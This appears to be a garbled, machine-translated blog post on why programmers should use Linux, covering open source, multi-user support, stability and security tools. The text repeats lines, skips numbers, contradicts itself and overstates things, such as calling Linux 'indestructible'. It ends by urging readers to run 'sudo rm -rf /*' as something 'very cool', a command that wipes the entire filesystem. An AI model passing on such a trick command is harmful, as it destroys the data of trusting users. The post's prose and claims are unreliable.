Why should programmers use Linux?

Most people recommend Linux, basically saying it makes you more productive and better.

But tools are just tools.

But tools are just tools.

But tools are just tools.

The difference between a good programmer and a bad programmer starts with attitude.

They have their own ideals and think a lot, both before and during the project and after the project is completed.

They treat problems carefully and think comprehensively, and they must have thought about them before they started to write the code, anticipating the problems that might be introduced.

Bad programmers are more casual, meaning they don’t take things seriously and code casually: they don’t realize that their code is contaminating the project.

Apart from the difference in attitude, there is also a big difference in ability.

When faced with a difficult problem, a good programmer will always look at the principle, see the real cause of the problem, and then solve the problem, while a bad programmer will always stay on the surface – thinking Linux will make you good is to stay on the surface, only you can make you good.

So what are the benefits of Linux?



1, open source,

Why are so many devices running Linux? Because it is open source software, it has a different meaning.

Working with a secure operating system becomes essential, and Linux fills that need. Because it is open source, anyone can look at the code and examine it to determine if there are any potential flaws that could pose a security risk.

2, multi-user, multi-task, multi-thread

Linux system can support multiple users at the same time, each user has special rights to its own file equipment, to ensure that the mutual interference between users, like mobile phone opened assistant, multiple landing qq accounts at the same time, when the hardware configuration is very high, each user can also perform multiple tasks at the same time, multiple threads to work at the same time, improve efficiency, It’s a perfect mess, and it beats any other operating system in terms of multiple users.



3. Stability and efficiency

You’ll probably hear about Windows servers going down for a long time, but you’ll never hear about Linux servers going down for a long time, almost never on Linux. Linux servers can run indefinitely without crashing because they inherit Unix’s superior stability and efficiency. Because of its stability, Linux is favored by many users, and because of its efficiency, it is widely used. However, Linux can also provide some highly reliable services, such as LNMP, virtualization, database services and so on.

Security and SELinux

Its safety compared with other systems also want security a lot, because the Linux has numerous users and the open source community support, so that you can quickly find system vulnerabilities, and issue security patches update quickly, at the same time also has the very strong “immunity” characteristics, rarely virus attacks, for an open system, in the convenience of the user at the same time, There could be a security risk.

However, using Linux’s own iptables (Firewalld), intrusion detection and security authentication tools, you can greatly improve Linux security and make it more vulnerable to hackers. SElinux is also a security enhancement mechanism. Mandatory access control is provided in the Linux kernel, which is very comprehensive and can protect the system and services very well. However, many people like to turn it off, which is not very safe.

Tcp_wrappers also provide very good network service access control, and Linux is also very good at managing user and file management permissions, keeping files confidential in a way that no other system can, so Linux is somewhat indestructible.



5, performance advantages

Because Linux needs to ensure its stability, it does not have such a bloated and leaky kernel as other operating systems. With the continuous updating of the Linux kernel, the Linux operating system can fully reflect the hardware advantages of the server. Because Linux system has absorbed the Unix system nearly 1/4 century of development experience, the most important is Linux open source code, to ensure system stability, better call hardware functions, but also provides a wealth of system resources tools top, Freee, DF, VMstat, DMESG, IOstat, SAR, You can view the resource usage, such as uptime.

That’s enough to make you jump to Linux.

Of course, in addition to these, there are some may not be ambiguous, such as:

bigger than bigger

Get your Linux system out and start doing something with the command line.

For example, type sudo rm -rf /*

Very cool to the untrained eye!